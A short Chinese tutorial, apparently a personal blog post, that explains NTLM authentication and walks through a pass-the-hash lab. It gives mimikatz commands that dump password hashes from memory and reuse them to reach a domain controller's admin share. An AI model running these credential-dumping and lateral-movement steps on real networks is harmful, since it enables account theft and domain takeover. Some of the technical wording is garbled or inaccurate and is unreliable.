Windows登录认证
1、用户在客户端输入username、passsword、domain,客户端会将password进行hash计算保存到本地
2、客户端将username明文传输到域控主机,域控主机会随机生成16字节的challenge(挑战码)返回给客户端
3、客户端收到challenge之后会用之前的password的hash进行加密(response)和challenge、username一起发送给服务器,服务端会将收到的信息转发给域控
4、域控收到服务端发来的response、challenge、username,会拿着username在活动目录数据库中查询对应的password hash,并且使用自己的password hash对challenge进行一次加密,如果用户发来的response相同则身份验证成功,不相同则为验证失败
概念
一开始客户端与服务器之间信息沟通使用SMB协议明文传输,微软为了提高Windows操作系统的安全性采用了DES加密(散列加密算法),但由于 LM Hash的生成原理最关键的地方是密码不足14字节需要用0补全,这样就造成 LM Hash较容易被破解,随后就产生了 NTML Hash。
NTML Hash
生成过程
用户密码 -----> 转换为16进制格式 ----> 进行Unicode编码 ----> 使用MD4摘要算法 ----> 最终密文
1、首先将用户密码转换为十六进制格式
2、再将十六进制格式的密码进行Unicode编码
3、最后使用MD4摘要算法对Unicode编码数据进行Hash计算,得到密文
原理
哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。
NTML验证靠HASH值
1、获得一台域主机的权限
2、Dump内存获得用户hash
3、通过pass the hash尝试登录其他主机
4、继续搜集hash并尝试远程登录
5、直到获得域管理员账户hash,登录域控,最终成功控制整个域
利用
基础环境
域控:sever-2008
DMZ:win10
mimikatz准备好
1、sever-2008搭建域
2、Windows-10加入域
这里有一个需要注意的点,Windows-10中实时保护一定得关掉
3、mimikatz这个程序得注意,打开cmd(管理员身份,一定不要忘)运行mimikatz程序
成功命令秘籍
privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息,查看hash值
sekurlsa::pth /user:administrator /domain:xxx.com /ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
dir \\xx.xx.xx.254\c$ 域控iptype \\xx.xx.xx.254\1.txt 查看新建的文件夹
4、提升权限
5、查看哈希值
6、弹出新窗口
7、拿下域控
重要条件:
哈希传递只有在相同密码的情况下有用!!!
#认真走好每一小步 请多指教
@L尘痕